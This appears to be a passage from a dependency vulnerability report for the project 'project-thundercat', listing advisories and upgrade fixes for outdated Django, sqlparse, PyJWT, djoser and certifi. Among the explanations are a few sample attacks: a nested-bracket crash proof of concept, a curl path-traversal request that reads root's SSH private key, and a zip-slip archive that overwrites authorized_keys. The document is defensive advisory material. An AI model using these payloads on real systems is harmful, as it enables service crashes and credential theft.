Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade sqlparse
to version 0.4.4 or higher.
References
high severity
- Vulnerable module: sqlparse
- Introduced through: sqlparse@0.3.0 and django-debug-toolbar@1.11
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › sqlparse@0.3.0Remediation: Upgrade to sqlparse@0.5.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › sqlparse@0.3.0Remediation: Upgrade to django-debug-toolbar@3.2.3.
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion due to the parsing of heavily nested lists. An attacker can cause the application to crash by submitting a specially crafted list that triggers a RecursionError
.
Note:
The impact depends on the use, so anyone parsing a user input with sqlparse.parse()
is affected.
PoC
import sqlparse
sqlparse.parse('[' * 10000 + ']' * 10000)
Remediation
Upgrade sqlparse
to version 0.5.0 or higher.
References
high severity
- Vulnerable module: pyjwt
- Introduced through: pyjwt@1.7.1, djangorestframework-jwt@1.11.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › pyjwt@1.7.1Remediation: Upgrade to pyjwt@2.4.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-jwt@1.11.0 › pyjwt@1.7.1Remediation: Upgrade to djangorestframework-jwt@1.11.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › pyjwt@1.7.1Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
PyJWT is a Python implementation of RFC 7519.
Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm via non-blacklisted public key formats, leading to key confusion.
Remediation
Upgrade PyJWT
to version 2.4.0 or higher.
References
high severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.2.22.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to HTTP Header Injection. In Python 3.9.5+ urllib.parse() automatically removes ASCII newlines and tabs from URLs. Unfortunately it created an issue in the URLValidator. URLValidator uses urllib.urlsplit()
and urllib.urlunsplit()
for creating a URL variant with Punycode which no longer contains newlines and tabs in Python 3.9.5+. As a consequence, the regular expression matched the URL (without unsafe characters) and the source value (with unsafe characters) was considered valid.
This issue was introduced by the bpo-43882 fix.
Remediation
Upgrade Django
to version 3.2.2, 3.1.10, 2.2.22 or higher.
References
high severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.1.10.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). An HTTP request is not redirected to HTTPS when the SECURE_PROXY_SSL_HEADER
and SECURE_SSL_REDIRECT
settings are used, and the proxy connects to Django via HTTPS. As such, django.http.HttpRequest.scheme
has incorrect behavior when a client uses HTTP. This entails incorrect results for is_secure()
, and build_absolute_uri()
, and that HTTP requests would not be redirected to HTTPS in accordance with SECURE_SSL_REDIRECT
.
Remediation
Upgrade Django
to version 1.11.22, 2.1.10, 2.2.3 or higher.
References
high severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@4.2.17.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Command Injection via certain inputs containing large sequences of nested incomplete HTML entities submitted to the strip_tags
function and striptags
template filter. An attacker can cause the application to consume excessive resources.
Remediation
Upgrade django
to version 4.2.17, 5.0.10, 5.1.4 or higher.
References
high severity
new
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@4.2.24.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to SQL Injection in the FilteredRelation
class when a specially crafted dictionary is used with dictionary expansion as the **kwargs
passed to QuerySet.annotate
or QuerySet.alias
. An attacker can execute arbitrary SQL commands by supplying malicious input to these parameters.
Remediation
Upgrade Django
to version 4.2.24, 5.1.12, 5.2.6 or higher.
References
high severity
- Vulnerable module: djoser
- Introduced through: djoser@1.5.1
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djoser@1.5.1Remediation: Upgrade to djoser@2.3.0.
Overview
djoser is a REST implementation of Django authentication system.
Affected versions of this package are vulnerable to Authentication Bypass when the authenticate()
function fails. This is because the system falls back to querying the database directly, granting access to users with valid credentials, and eventually bypassing custom authentication checks such as two-factor authentication, LDAP validations, or requirements from configured AUTHENTICATION_BACKENDS.
Remediation
Upgrade djoser
to version 2.3.0 or higher.
References
high severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@3.2.15.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Reflected File Download (RFD) as it is possible to set the Content-Disposition
header of a FileResponse
when the filename
is derived from user-supplied input.
Remediation
Upgrade django
to version 3.2.15, 4.0.7, 4.1 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@5.0.14.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in django.contrib.auth.views.LoginView
, django.contrib.auth.views.LogoutView
, and django.views.i18n.set_language()
, whose NFKC operations are inefficient. An attacker can cause degradation of performance by sending requests with a very large number of Unicode characters, which are subject to NFKC normalization.
Note: This is only exploitable on Windows.
Remediation
Upgrade Django
to version 5.0.14, 5.1.8, 5.2 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@4.2.14.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) in django.utils.translation.get_supported_language_variant()
function due to improper user input validation. An attacker can exploit this vulnerability by using very long strings containing specific characters. Exploiting this vulnerability could lead to a system crash.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade django
to version 4.2.14, 5.0.7 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@4.2.14.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) via the in django.utils.html.urlize()
and django.utils.html.urlizetrunc()
functions. If certain inputs with a very large number of brackets are provided, this could lead to a system crash.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade django
to version 4.2.14, 5.0.7 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@4.2.15.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) via very large inputs with a specific sequence of characters in the urlize()
and urlizetrunc()
template filters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade django
to version 4.2.15, 5.0.8 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@4.2.15.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) via certain inputs with a very large number of Unicode characters in the urlize
and urlizetrunc
template filters, and the AdminURLFieldWidget
widget.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade django
to version 4.2.15, 5.0.8 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@4.2.16.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) due to not accounting for very large inputs involving intermediate ;
s, in the django.utils.html.urlize()
and django.utils.html.urlizetrunc()
template filter functions.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade django
to version 4.2.16, 5.0.9, 5.1.1 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@4.2.14.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Directory Traversal via the derived classes of the django.core.files.storage.Storage
base class which override generate_filename()
without replicating the file path validations existing in the parent class. This allows potential access to out of scope data via certain inputs when calling save()
method.
Note: Built-in Storage sub-classes were not affected by this vulnerability.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st
is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public
route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e
is the URL encoded version of .
(dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip
.
One way to achieve this is by using a malicious zip
archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip
archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade django
to version 4.2.14, 5.0.7 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@4.2.22.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to Improper Output Neutralization for Logs via the request.path
function used by HTTP responses, which allows control characters to be written unescaped into logs. An attacker can manipulate log entries and potentially cause log injection or forgery by sending specially crafted URLs.
Remediation
Upgrade Django
to version 4.2.22, 5.1.10, 5.2.2 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@4.2.15.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') via the floatformat()
template filter, when given a string representation of a number in scientific notation with a large exponent.
Remediation
Upgrade django
to version 4.2.15, 5.0.8 or higher.
References
medium severity
- Vulnerable module: certifi
- Introduced through: certifi@2019.3.9, requests@2.21.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › certifi@2019.3.9Remediation: Upgrade to certifi@2022.12.7.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › requests@2.21.0 › certifi@2019.3.9Remediation: Upgrade to requests@2.32.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › requests@2.21.0 › certifi@2019.3.9Remediation: Upgrade to coreapi@2.3.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › certifi@2019.3.9Remediation: Upgrade to openapi-codec@1.3.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › requests@2.21.0 › certifi@2019.3.9
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › certifi@2019.3.9
Overview
Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity resulting in Certifi root certificate removal from TrustCor. The root certificates are being removed pursuant to an investigation prompted by media reporting that TrustCor's ownership also operated a business that produced spyware.
Remediation
Upgrade certifi
to version 2022.12.7 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@4.2.16.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Improper Check for Unusual or Exceptional Conditions due to unhandled email sending failures in the django.contrib.auth.forms.PasswordResetForm
